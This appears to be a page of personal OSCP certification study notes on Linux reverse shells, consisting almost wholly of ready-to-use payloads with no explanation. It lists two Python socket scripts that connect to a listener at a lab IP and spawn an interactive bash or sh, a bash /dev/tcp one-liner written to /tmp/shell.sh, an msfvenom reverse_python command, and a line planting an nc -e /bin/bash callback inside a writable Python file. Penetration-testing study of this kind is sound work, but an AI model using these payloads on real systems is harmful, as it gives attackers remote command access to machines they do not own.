O
O
OSCP Notes
Search…
⌃K

Reverse shells

Linux Reverse shell

Linux

Python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.119.212",6666))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
or
import socket,subprocess
import pty,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.119.212",6666))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")
echo 'bash -c "bash -i >& /dev/tcp/192.168.119.146/4444 0>&1"' > /tmp/shell.sh
chmod +x /tmp/shell.sh
msfvenom -p cmd/unix/reverse_python lhost=10.10.16.1 lport=9999 R
echo "import os; gori='nc 10.10.10.01. 8888 -e /bin/bash'; os.system(gori)" > vulnerablefile.py